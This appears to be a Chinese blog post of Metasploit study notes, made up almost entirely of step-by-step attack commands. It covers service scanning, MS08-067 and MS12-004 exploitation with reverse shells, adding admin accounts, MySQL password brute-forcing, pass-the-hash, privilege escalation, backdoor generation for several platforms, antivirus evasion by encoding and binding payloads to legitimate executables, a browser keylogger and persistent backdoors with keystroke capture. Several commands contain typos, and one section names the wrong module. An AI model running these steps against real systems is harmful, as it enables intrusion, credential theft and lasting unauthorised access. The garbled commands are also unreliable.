渗透测试|metasploit学习笔记

渗透测试|metasploit学习笔记

bd1a94a4fbf2e7903d04969660ab222b启动
· msfconsole

更新

· ./msfupdate

退回上一级

· quit

1.端口扫描:

基础扫描:

· nmap -v -sV 加上要扫描的ip

调用msf模块扫描

使用search参数搜索相关模块:

· search portscan

使用use参数调用其中一个模块进行搜索

· use auxiliary/scanner/portscan/syn

使用show options参数设置模块详细参数

· show options

通过set参数设置模块参数

· set INTERFACE 网卡(ip)

· set PORTS 端口

通过run参数开始扫描

· run

注:- Ctrl+c可以暂停扫描

2.SMB扫描_获取系统信息

启动

· msfconsile

通过use参数启动smb扫描模块

· use auxiliary/scanner/smb/smb_version

通过 show options参数设置模块参数

· show options

需要设置的参数有ip和线程

· set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)

通过run参数启动模块

· run

· 注:smb模块也可以扫描ip段,假如ip是192.168.1.1,要扫描多个ip可以set RHOS 192.168.1.1-200

3.服务识别(ssh)

启动

· msfconsole

通过use参数启动服务识别模块

· use auxiliary/scanner/ssh/ssh_version

通过 show options参数设置模块参数

· show options

通过 show options参数设置模块参数

· show options

需要设置ip

· set RHOST IP(你需要扫描的ip),也可以扫描多个ip,只需要在要扫描的ip后面加上另一个IP就行了

通过run参数启动模块

· run

识别FTP的除了需要调用的模块不一样以外其他的都一样,就简单给出参数了。。。。。

调用;

· use auxiliary/scanner/ftp/ftp_version
设置参数:

· show options
如果知道对方FTP账号就可以设置这个参数

· set FTPUSER
设置ip

· set RHOST IP
启动模块

· run

4.密码嗅探

启动

· msfconsole

调用模块

· use auxiliary/sniffer/psnuffle

设置参数

· show options

不需要设置。。。。呵呵呵呵

通过run参数启动模块

· run

5.SNMP扫描与枚举

启动

· msfconsole

搜索模块

· search snmp

调用扫描模块

· use auxiliary/scanner/snmp/snmp_login

设置参数

· show options

需要设置的参数有ip和线程

· set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)

通过run参数启动模块

· run

调用枚举模块

· use auxiliary/scanner/snmp/snmp_enum

设置参数

· show options

需要设置的参数有ip和线程

· set RHOST IP(你需要扫描的ip) set THREADS 10(线程一般是10,根据你电脑配置而定)

通过run参数启动模块

· run

6.SMB登陆验证

启动

· msfconsole

调用模块

· use auxiliary/scanner/vnc/vnc_none_auth

设置参数

· show options

需要设置的参数有ip和线程,登录账号

· set RHOST IP(你需要扫描的ip/24) set THREADS 100(线程一般默认就好,电脑配置高的可以设置大) set SMBUser administraor(登录名可以自定义)

通过run参数启动模块

· run

7.VNC身份验证

启动

· msfconsole

调用模块

· use auxiliary/scanner/vnc/vnc_none_auth

设置参数

· show options

需要设置的参数有ip和线程

· set RHOST IP(你需要扫描的ip) set THREADS 100(线程50-100,自己定义吧,端口一般默认不用自己设置)

通过run参数启动模块

· run

第二季

1.远程代码执行

启动

· msfconsole

搜索漏洞

· search 08-067

调用模块

· use exploit/windows/smb/ms08_067_netapi

设置参数

· show options

需要设置被攻击者ip

· set RHOST IP

设置攻击载荷

· show payloads

调用攻击载荷

· set payload windows/meterpreter/reverse_tcp(最好背下来,因为是常用载荷,直接拼出来就不用找,找起来太费时)

设置参数

· show options

需要设置本地ip

· set LHOST ip

每次设置完最好都能重新查看一下是否设置成功

· show options

用info查看漏洞详情及影响版本

· info

当然如果不知道被攻击者服务器版本可以用namp查看服务器版本号

· nmap -O ip

只有08-067需要设置版本号,其他都可以自动识别版本号

· set target 编号

再次检查

· show options

开始利用漏洞

· exploit

可以看到反弹,直接shell

· shell

在cmd下添加一个账户

· net user admin admin /add

2.MJDJ文件解析远程代码执行

启动

· msfconsole

搜索漏洞

· search 12-004

调用模块

· use exploit/windows/browser/ms12_004_midi

设置参数

· show options

需要设置ip

· set SRVHOST IP

可以修改伪装

· set URIPATH /(可以是反斜杠也可以是文字,例如:好看的电影)

再次检查参数

· show option

开始生成

· exploit

如果出现端口被占用那么我们还需要修改端口

· set LPORT 1244

再次检查参数

· show option

开始生成

· exploit

等待被攻击者机器连接。。。。。连接上了,我们查看会话

· sessions

看到有一个会话,选择id连接会话

· sessions -i id(id是1就选1)

获得shell

· shell

然后想干嘛就干嘛咯

3.口令安全

启动

· msfconsole

搜索模块

· serach msql_login(这两个模块也都有,可以根据实际情况而定,格式是xxx_login(这个单词直译就是登录),ssh_login,ftp_login)

调用模块

· use auxiliary/scanner/mysql/mysql_login

设置参数

· show options

需要设置的参数有ip,用户名,字典,线程

· set RHOST IP(被攻击者)

· set USERNAME root

· set PASS_FILE 字典路径

· set THREAD 50

再次检查参数

· show option

然后开始

· exploit(如果成功了,就可以得出用户名和密码了,直接命令连接即可)

4.hash值传递渗透

(相关内容戳我)

启动

· msfconsole

调用模块

· use/windows/smb/psexec

设置参数

· show options

需要设置的参数有ip和用户名

· set RHOST IP(被攻击者)

· set SMMBUSER 用户名

再次检查参数

· show option

执行

· exploit

查看哈希值,复制它

· hashdump

退出

· exit

使用哈希值登录

· set smbpass hash

执行

· exploit

5.NDP内核提权

(基于漏洞给低权限提权的会话)

· 前提条件有一个已经连接的的会话(session),但是其权限低

搜索提权模块

· serarch 14-002

调用模块

· use exploit/windows/local/ms_ndproxy

设置参数

· show options

设置会话id提权

· set session 1(id)

再次检查参数

· show option

执行

· exploit

提权完成后使用getuid查看当前权限

· getuid

也可以获得shell之后使用get进行提权

· getsystem

6.多种后门的生成

启动

· msfconsole

a.Windows后门生成

· msfvenom -p windows/meterpreter/reverse_tcp LHOST=本机ip LPORT=端口 -f (格式)exe -o /((路径)自定义.exe

不要先发给被攻击者或者运行,要创建会话监听便于接受shell,搜索模块

· search handler

调用模块

· use exploit/mulit/handler

设置参数

· show options

参数设置为创建所用的模块后门的参数

· set payload windows/meterpreter/reverse_tcp

· set LHOST IP

· set LPORT 端口

创建会话监听完成,可以把生成的后门发给被攻击者了

b.linux生成后门

· msfpayload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux

这里为了方便直接给靶机里的Linux777权限,列出目录,然后运行

· chmod 777 linux

· ls

· ./linux

注意端口不能重复

一样的,设置会话监听

· search handler

调用模块

· use exploit/mulit/handler

设置参数

· show options

参数设置为创建所用的模块后门的参数

· set payload linux/x86/shell_reverse_tcp LHOST=IP LPORT=端口 X >linux

· set LHOST IP

· set LPORT 端口

举一反三,java,php,等等的就给出代码参考

· a.java后门的生成

· msfpayload java/meterpreter/shell_reverse_tvp LHOST=IP LPORT=端口 W >123.jar

·

· d.php后门的生成

· msfpayload java/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R | msfencode -e php/baes64 -t raw -o 123.php

· 上传到目标站-本地监听-目标访问服务器

·

·

· c.安桌后门的生成

· msfpayload android/meterpreter/shell_reverse_tcp LHOST=IP LPORT=端口 R >1.apk

· 目标运行1.apk

· 本地监听

7.内网渗透(获得shell前提下)

启动

· msfconsole

获得shell扫描c段

· run get_local_subnets 获取网卡

· run autoroute -s ip 扫描c段

在有域的情况下,劫持域管理

· 调用:use incognito

· 设置:impersonate_token 域

· shell

调用嗅探模块

· use auxiliary/sniffer/psnuffle

· run

8.反反病毒(免杀)

启动

· msfconsole

生成后门,以Windows为例,调用模块免杀

· msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai – t exe>123.exe

多次免杀(有时候多次免杀效果反而不好,因为免杀与次数无关)

· msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -e x86/shikata_ga_nai -c 10 – t raw | msfencode -e x86/countdown -c 5 -t exe -o /1231.exe 10和5为免杀次数

绑定正常文件免杀

· msfpaylad windows/shell/reverse_tcp LHOST=192.168.48.130 LPORT=1111 R| msfencode -t exe -x /root/ftp.exe -o 123123.exe -e x86/shikata_ga_nai – k -c 10

加壳

· upx -5 /1231.exe

9.不一样的xss(键盘记录)

启动

· msfconsole

搜索模块

· search keylogger

调用模块

· use auxiliary/server/capture/http_javascript_keyloger

设置参数

· show options

需要设置的参数有页面,这里启动启动官方演示

· set DEMO true(意思是官方演示)

· set URIPATH /(设置url)

· set srvport 80(端口)

生成

· run

10.维持访问(访问后门)

启动

· msfconsole

调用模块

· use exploit/multi/handler

生成payload方便连接会话

· set payload windows/meterpreter/reverse_tcp

设置参数

· show options

设置ip,端口

· set LHOST IP

· SET LPORT 1111

运行

· run

获得后门

· run metsvs -A

举例。。。。假如过段时间还想再次连接机器可以调用同样的模块,但是需要设置的东西就不一样了

调用模块

· use exploit/multi/handler

生成payload

· set payload windows/meterpreter/metsvs_bind_tcp

设置参数

· show options

需要设置刚刚创建payload的端口和对方ip

· set LPORT 31337

· set RHOST IP

执行

· exploit

可以启用键盘记录方便记录管理员密码

· keyscan_start(键盘记录)

· keyscan_dump(查看记录)

msfconsole的模块多种多样,看个人怎么留后门

e1e96219645d2c0658973305cfc640ec

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/2653

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月9日 上午11:00
下一篇 2022年1月9日 上午11:39

相关推荐

发表回复

您的电子邮箱地址不会被公开。